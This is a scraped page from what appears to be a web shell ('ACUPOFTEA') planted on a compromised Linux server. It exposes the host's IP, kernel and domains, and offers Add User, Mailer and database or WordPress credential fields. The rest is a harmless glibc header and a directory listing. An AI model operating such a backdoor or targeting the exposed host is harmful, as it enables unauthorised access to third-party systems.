System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
bits
/
216.73.216.141
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
thread-shared-types.h
/* Common threading primitives definitions for both POSIX and C11. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _THREAD_SHARED_TYPES_H #define _THREAD_SHARED_TYPES_H 1 /* Arch-specific definitions. Each architecture must define the following macros to define the expected sizes of pthread data types: __SIZEOF_PTHREAD_ATTR_T - size of pthread_attr_t. __SIZEOF_PTHREAD_MUTEX_T - size of pthread_mutex_t. __SIZEOF_PTHREAD_MUTEXATTR_T - size of pthread_mutexattr_t. __SIZEOF_PTHREAD_COND_T - size of pthread_cond_t. __SIZEOF_PTHREAD_CONDATTR_T - size of pthread_condattr_t. __SIZEOF_PTHREAD_RWLOCK_T - size of pthread_rwlock_t. __SIZEOF_PTHREAD_RWLOCKATTR_T - size of pthread_rwlockattr_t. __SIZEOF_PTHREAD_BARRIER_T - size of pthread_barrier_t. __SIZEOF_PTHREAD_BARRIERATTR_T - size of pthread_barrierattr_t. Also, the following macros must be define for internal pthread_mutex_t struct definitions (struct __pthread_mutex_s): __PTHREAD_COMPAT_PADDING_MID - any additional members after 'kind' and before '__spin' (for 64 bits) or '__nusers' (for 32 bits). __PTHREAD_COMPAT_PADDING_END - any additional members at the end of the internal structure. __PTHREAD_MUTEX_LOCK_ELISION - 1 if the architecture supports lock elision or 0 otherwise. __PTHREAD_MUTEX_NUSERS_AFTER_KIND - control where to put __nusers. The preferred value for new architectures is 0. __PTHREAD_MUTEX_USE_UNION - control whether internal __spins and __list will be place inside a union for linuxthreads compatibility. The preferred value for new architectures is 0. For a new port the preferred values for the required defines are: #define __PTHREAD_COMPAT_PADDING_MID #define __PTHREAD_COMPAT_PADDING_END #define __PTHREAD_MUTEX_LOCK_ELISION 0 #define __PTHREAD_MUTEX_NUSERS_AFTER_KIND 0 #define __PTHREAD_MUTEX_USE_UNION 0 __PTHREAD_MUTEX_LOCK_ELISION can be set to 1 if the hardware plans to eventually support lock elision using transactional memory. The additional macro defines any constraint for the lock alignment inside the thread structures: __LOCK_ALIGNMENT - for internal lock/futex usage. Same idea but for the once locking primitive: __ONCE_ALIGNMENT - for pthread_once_t/once_flag definition. And finally the internal pthread_rwlock_t (struct __pthread_rwlock_arch_t) must be defined. */ #include <bits/pthreadtypes-arch.h> /* Common definition of pthread_mutex_t. */ #if !__PTHREAD_MUTEX_USE_UNION typedef struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; } __pthread_list_t; #else typedef struct __pthread_internal_slist { struct __pthread_internal_slist *__next; } __pthread_slist_t; #endif /* Lock elision support. */ #if __PTHREAD_MUTEX_LOCK_ELISION # if !__PTHREAD_MUTEX_USE_UNION # define __PTHREAD_SPINS_DATA \ short __spins; \ short __elision # define __PTHREAD_SPINS 0, 0 # else # define __PTHREAD_SPINS_DATA \ struct \ { \ short __espins; \ short __eelision; \ } __elision_data # define __PTHREAD_SPINS { 0, 0 } # define __spins __elision_data.__espins # define __elision __elision_data.__eelision # endif #else # define __PTHREAD_SPINS_DATA int __spins /* Mutex __spins initializer used by PTHREAD_MUTEX_INITIALIZER. */ # define __PTHREAD_SPINS 0 #endif struct __pthread_mutex_s { int __lock __LOCK_ALIGNMENT; unsigned int __count; int __owner; #if !__PTHREAD_MUTEX_NUSERS_AFTER_KIND unsigned int __nusers; #endif /* KIND must stay at this position in the structure to maintain binary compatibility with static initializers. Concurrency notes: The __kind of a mutex is initialized either by the static PTHREAD_MUTEX_INITIALIZER or by a call to pthread_mutex_init. After a mutex has been initialized, the __kind of a mutex is usually not changed. BUT it can be set to -1 in pthread_mutex_destroy or elision can be enabled. This is done concurrently in the pthread_mutex_*lock functions by using the macro FORCE_ELISION. This macro is only defined for architectures which supports lock elision. For elision, there are the flags PTHREAD_MUTEX_ELISION_NP and PTHREAD_MUTEX_NO_ELISION_NP which can be set in addition to the already set type of a mutex. Before a mutex is initialized, only PTHREAD_MUTEX_NO_ELISION_NP can be set with pthread_mutexattr_settype. After a mutex has been initialized, the functions pthread_mutex_*lock can enable elision - if the mutex-type and the machine supports it - by setting the flag PTHREAD_MUTEX_ELISION_NP. This is done concurrently. Afterwards the lock / unlock functions are using specific elision code-paths. */ int __kind; __PTHREAD_COMPAT_PADDING_MID #if __PTHREAD_MUTEX_NUSERS_AFTER_KIND unsigned int __nusers; #endif #if !__PTHREAD_MUTEX_USE_UNION __PTHREAD_SPINS_DATA; __pthread_list_t __list; # define __PTHREAD_MUTEX_HAVE_PREV 1 #else __extension__ union { __PTHREAD_SPINS_DATA; __pthread_slist_t __list; }; # define __PTHREAD_MUTEX_HAVE_PREV 0 #endif __PTHREAD_COMPAT_PADDING_END }; /* Common definition of pthread_cond_t. */ struct __pthread_cond_s { __extension__ union { __extension__ unsigned long long int __wseq; struct { unsigned int __low; unsigned int __high; } __wseq32; }; __extension__ union { __extension__ unsigned long long int __g1_start; struct { unsigned int __low; unsigned int __high; } __g1_start32; }; unsigned int __glibc_unused___g_refs[2] __LOCK_ALIGNMENT; unsigned int __g_size[2]; unsigned int __g1_orig_size; unsigned int __wrefs; unsigned int __g_signals[2]; }; #endif /* _THREAD_SHARED_TYPES_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
..
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
types
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
a.out.h
text/x-c
268 B
-rw-r--r--
2025-12-08 09:36:36
byteswap.h
text/x-c
2.39 KB
-rw-r--r--
2025-12-08 09:36:35
cmathcalls.h
text/x-c
4.04 KB
-rw-r--r--
2025-12-08 09:36:34
confname.h
text/x-c
23.15 KB
-rw-r--r--
2025-12-08 09:36:36
cpu-set.h
text/x-c
4.41 KB
-rw-r--r--
2025-12-08 09:36:36
dirent.h
text/x-c
1.73 KB
-rw-r--r--
2025-12-08 09:36:35
dlfcn.h
text/x-c
2.46 KB
-rw-r--r--
2025-12-08 09:36:34
elfclass.h
text/x-c
426 B
-rw-r--r--
2025-12-08 09:36:50
endian.h
text/x-c
176 B
-rw-r--r--
2025-12-08 09:36:35
environments.h
text/x-c
3.7 KB
-rw-r--r--
2025-12-08 09:36:36
epoll.h
text/x-c
1.04 KB
-rw-r--r--
2025-12-08 09:36:36
errno.h
text/x-c
1.39 KB
-rw-r--r--
2025-12-08 09:36:34
error.h
text/x-c
2.62 KB
-rw-r--r--
2025-12-08 09:36:36
eventfd.h
text/x-c
1.1 KB
-rw-r--r--
2025-12-08 09:36:36
fcntl-linux.h
text/x-c
13.39 KB
-rw-r--r--
2025-12-08 09:36:36
fcntl.h
text/x-c
2.19 KB
-rw-r--r--
2025-12-08 09:36:36
fcntl2.h
text/x-c
5.44 KB
-rw-r--r--
2025-12-08 09:36:36
fenv.h
text/x-c
4.5 KB
-rw-r--r--
2025-12-08 09:36:34
fenvinline.h
text/x-c
190 B
-rw-r--r--
2025-12-08 09:36:34
floatn-common.h
text/x-c
9.54 KB
-rw-r--r--
2025-12-08 09:36:34
floatn.h
text/x-c
4.27 KB
-rw-r--r--
2025-12-08 09:36:34
flt-eval-method.h
text/x-c
1.19 KB
-rw-r--r--
2025-12-08 09:36:34
fp-fast.h
text/x-c
1.19 KB
-rw-r--r--
2025-12-08 09:36:34
fp-logb.h
text/x-c
1011 B
-rw-r--r--
2025-12-08 09:36:34
getopt_core.h
text/x-c
3.58 KB
-rw-r--r--
2025-12-08 09:36:36
getopt_ext.h
text/x-c
2.97 KB
-rw-r--r--
2025-12-08 09:36:36
getopt_posix.h
text/x-c
1.77 KB
-rw-r--r--
2025-12-08 09:36:36
hwcap.h
text/x-c
971 B
-rw-r--r--
2025-12-08 09:36:36
in.h
text/x-c
9.24 KB
-rw-r--r--
2025-12-08 09:36:49
indirect-return.h
text/x-c
1.55 KB
-rw-r--r--
2025-12-08 09:36:34
initspin.h
text/plain
25 B
-rw-r--r--
2025-12-08 09:36:36
inotify.h
text/x-c
1.05 KB
-rw-r--r--
2025-12-08 09:36:36
ioctl-types.h
text/x-c
2.4 KB
-rw-r--r--
2025-12-08 09:36:36
ioctls.h
text/x-c
4.37 KB
-rw-r--r--
2025-12-08 09:36:36
ipc.h
text/x-c
2.02 KB
-rw-r--r--
2025-12-08 09:36:36
ipctypes.h
text/x-c
1.15 KB
-rw-r--r--
2025-12-08 09:36:36
iscanonical.h
text/x-c
2.42 KB
-rw-r--r--
2025-12-08 09:36:34
libc-header-start.h
text/x-c
2.55 KB
-rw-r--r--
2025-12-08 09:36:29
libm-simd-decl-stubs.h
text/x-c
2.93 KB
-rw-r--r--
2025-12-08 09:36:34
link.h
text/x-c
4.18 KB
-rw-r--r--
2025-12-08 09:36:50
link_lavcurrent.h
text/x-c
1.07 KB
-rw-r--r--
2025-12-08 09:36:50
local_lim.h
text/x-c
3.11 KB
-rw-r--r--
2025-12-08 09:36:36
locale.h
text/x-c
1.33 KB
-rw-r--r--
2025-12-08 09:36:30
long-double.h
text/plain
923 B
-rw-r--r--
2025-12-08 09:36:34
math-finite.h
text/x-c
5.25 KB
-rw-r--r--
2025-12-08 09:36:34
math-vector.h
text/x-c
2.25 KB
-rw-r--r--
2025-12-08 09:36:34
mathcalls-helper-functions.h
text/plain
1.72 KB
-rw-r--r--
2025-12-08 09:36:34
mathcalls-narrow.h
text/x-c
1.28 KB
-rw-r--r--
2025-12-08 09:36:34
mathcalls.h
text/x-c
12.79 KB
-rw-r--r--
2025-12-08 09:36:34
mathdef.h
text/x-c
890 B
-rw-r--r--
2025-12-08 09:36:34
mathinline.h
text/x-c
12.71 KB
-rw-r--r--
2025-12-08 09:36:34
mman-linux.h
text/x-c
4.78 KB
-rw-r--r--
2025-12-08 09:36:36
mman-shared.h
text/x-c
2.67 KB
-rw-r--r--
2025-12-08 09:36:36
mman.h
text/x-c
2.01 KB
-rw-r--r--
2025-12-08 09:36:36
monetary-ldbl.h
text/x-c
1.02 KB
-rw-r--r--
2025-12-08 09:36:34
mqueue.h
text/x-c
1.22 KB
-rw-r--r--
2025-12-08 09:36:48
mqueue2.h
text/x-c
2.1 KB
-rw-r--r--
2025-12-08 09:36:48
msq.h
text/x-c
2.58 KB
-rw-r--r--
2025-12-08 09:36:36
netdb.h
text/x-c
1.23 KB
-rw-r--r--
2025-12-08 09:36:49
param.h
text/x-c
1.4 KB
-rw-r--r--
2025-12-08 09:36:36
poll.h
text/x-c
2.03 KB
-rw-r--r--
2025-12-08 09:36:36
poll2.h
text/x-c
2.43 KB
-rw-r--r--
2025-12-08 09:36:36
posix1_lim.h
text/x-c
5.07 KB
-rw-r--r--
2025-12-08 09:36:36
posix2_lim.h
text/x-c
2.8 KB
-rw-r--r--
2025-12-08 09:36:36
posix_opt.h
text/x-c
5.63 KB
-rw-r--r--
2025-12-08 09:36:36
printf-ldbl.h
text/x-c
991 B
-rw-r--r--
2025-12-08 09:36:34
pthreadtypes-arch.h
text/x-c
3.21 KB
-rw-r--r--
2025-12-08 09:36:36
pthreadtypes.h
text/x-c
3 KB
-rw-r--r--
2025-12-08 09:36:36
ptrace-shared.h
text/x-c
2.83 KB
-rw-r--r--
2025-12-08 09:36:36
resource.h
text/x-c
6.15 KB
-rw-r--r--
2025-12-08 09:36:36
sched.h
text/x-c
3.66 KB
-rw-r--r--
2025-12-08 09:36:36
select.h
text/x-c
2.06 KB
-rw-r--r--
2025-12-08 09:36:36
select2.h
text/x-c
1.4 KB
-rw-r--r--
2025-12-08 09:36:36
sem.h
text/x-c
2.56 KB
-rw-r--r--
2025-12-08 09:36:36
semaphore.h
text/x-c
1.21 KB
-rw-r--r--
2025-12-08 09:36:35
setjmp.h
text/x-c
1.26 KB
-rw-r--r--
2025-12-08 09:36:34
setjmp2.h
text/x-c
1.66 KB
-rw-r--r--
2025-12-08 09:36:34
shm.h
text/x-c
3.51 KB
-rw-r--r--
2025-12-08 09:36:36
sigaction.h
text/x-c
2.87 KB
-rw-r--r--
2025-12-08 09:36:34
sigcontext.h
text/x-c
4.16 KB
-rw-r--r--
2025-12-08 09:36:34
sigevent-consts.h
text/x-c
1.44 KB
-rw-r--r--
2025-12-08 09:36:34
siginfo-arch.h
text/x-c
729 B
-rw-r--r--
2025-12-08 09:36:36
siginfo-consts-arch.h
text/x-c
204 B
-rw-r--r--
2025-12-08 09:36:36
siginfo-consts.h
text/x-c
5.83 KB
-rw-r--r--
2025-12-08 09:36:34
signalfd.h
text/x-c
1.04 KB
-rw-r--r--
2025-12-08 09:36:36
signum-generic.h
text/x-c
4.24 KB
-rw-r--r--
2025-12-08 09:36:34
signum.h
text/x-c
1.59 KB
-rw-r--r--
2025-12-08 09:36:34
sigstack.h
text/x-c
1.14 KB
-rw-r--r--
2025-12-08 09:36:34
sigthread.h
text/x-c
1.65 KB
-rw-r--r--
2025-12-08 09:36:34
sockaddr.h
text/x-c
1.48 KB
-rw-r--r--
2025-12-08 09:36:36
socket.h
text/x-c
15.2 KB
-rw-r--r--
2025-12-08 09:36:36
socket2.h
text/x-c
2.96 KB
-rw-r--r--
2025-12-08 09:36:36
socket_type.h
text/x-c
2.16 KB
-rw-r--r--
2025-12-08 09:36:36
ss_flags.h
text/x-c
1.16 KB
-rw-r--r--
2025-12-08 09:36:34
stab.def
text/plain
8.83 KB
-rw-r--r--
2025-12-08 09:36:36
stat.h
text/x-c
7.44 KB
-rw-r--r--
2025-12-08 09:36:36
statfs.h
text/x-c
1.87 KB
-rw-r--r--
2025-12-08 09:36:36
statvfs.h
text/x-c
3.34 KB
-rw-r--r--
2025-12-08 09:36:36
statx-generic.h
text/x-c
2 KB
-rw-r--r--
2025-12-08 09:36:36
statx.h
text/x-c
1.37 KB
-rw-r--r--
2025-12-08 09:36:36
stdint-intn.h
text/x-c
1.01 KB
-rw-r--r--
2025-12-08 09:36:34
stdint-uintn.h
text/x-c
1.02 KB
-rw-r--r--
2025-12-08 09:36:34
stdio-ldbl.h
text/x-c
2.94 KB
-rw-r--r--
2025-12-08 09:36:34
stdio.h
text/x-c
5.46 KB
-rw-r--r--
2025-12-08 09:36:34
stdio2.h
text/x-c
12.25 KB
-rw-r--r--
2025-12-08 09:36:34
stdio_lim.h
text/x-c
1.18 KB
-rw-r--r--
2025-12-08 09:36:34
stdlib-bsearch.h
text/plain
1.34 KB
-rw-r--r--
2025-12-08 09:36:34
stdlib-float.h
text/x-c
1.09 KB
-rw-r--r--
2025-12-08 09:36:34
stdlib-ldbl.h
text/x-c
1.34 KB
-rw-r--r--
2025-12-08 09:36:34
stdlib.h
text/x-c
4.95 KB
-rw-r--r--
2025-12-08 09:36:34
string_fortified.h
text/x-c
4.57 KB
-rw-r--r--
2025-12-08 09:36:35
strings_fortified.h
text/x-c
1.21 KB
-rw-r--r--
2025-12-08 09:36:35
sys_errlist.h
text/x-c
1.19 KB
-rw-r--r--
2025-12-08 09:36:34
syscall.h
text/x-c
44.59 KB
-rw-r--r--
2025-12-08 09:36:36
sysctl.h
text/plain
898 B
-rw-r--r--
2025-12-08 09:36:36
syslog-ldbl.h
text/x-c
1.18 KB
-rw-r--r--
2025-12-08 09:36:36
syslog-path.h
text/x-c
1.04 KB
-rw-r--r--
2025-12-08 09:36:36
syslog.h
text/x-c
1.64 KB
-rw-r--r--
2025-12-08 09:36:36
sysmacros.h
text/x-c
2.88 KB
-rw-r--r--
2025-12-08 09:36:36
termios.h
text/x-c
5.24 KB
-rw-r--r--
2025-12-08 09:36:36
thread-shared-types.h
text/x-c
6.58 KB
-rw-r--r--
2025-12-08 09:36:36
time.h
text/x-c
2.93 KB
-rw-r--r--
2025-12-08 09:36:35
timerfd.h
text/x-c
1.08 KB
-rw-r--r--
2025-12-08 09:36:36
timex.h
text/x-c
4.49 KB
-rw-r--r--
2025-12-08 09:36:35
types.h
text/x-c
8.14 KB
-rw-r--r--
2025-12-08 09:36:36
typesizes.h
text/x-c
3.32 KB
-rw-r--r--
2025-12-08 09:36:36
uintn-identity.h
text/x-c
1.5 KB
-rw-r--r--
2025-12-08 09:36:35
uio-ext.h
text/x-c
1.88 KB
-rw-r--r--
2025-12-08 09:36:36
uio_lim.h
text/x-c
1.35 KB
-rw-r--r--
2025-12-08 09:36:36
unistd.h
text/x-c
10.56 KB
-rw-r--r--
2025-12-08 09:36:36
utmp.h
text/x-c
3.97 KB
-rw-r--r--
2025-12-08 09:36:50
utmpx.h
text/x-c
3.49 KB
-rw-r--r--
2025-12-08 09:36:50
utsname.h
text/x-c
1.18 KB
-rw-r--r--
2025-12-08 09:36:36
waitflags.h
text/plain
1.66 KB
-rw-r--r--
2025-12-08 09:36:36
waitstatus.h
text/x-c
2.23 KB
-rw-r--r--
2025-12-08 09:36:36
wchar-ldbl.h
text/x-c
2.37 KB
-rw-r--r--
2025-12-08 09:36:35
wchar.h
text/x-c
1.86 KB
-rw-r--r--
2025-12-08 09:36:35
wchar2.h
text/x-c
17.79 KB
-rw-r--r--
2025-12-08 09:36:35
wctype-wchar.h
text/x-c
6.15 KB
-rw-r--r--
2025-12-08 09:36:36
wordsize.h
text/x-c
442 B
-rw-r--r--
2025-12-08 09:36:34
xopen_lim.h
text/x-c
3.77 KB
-rw-r--r--
2025-12-08 09:36:29
~ ACUPOFTEA - accounting.gulfstore-gcc.com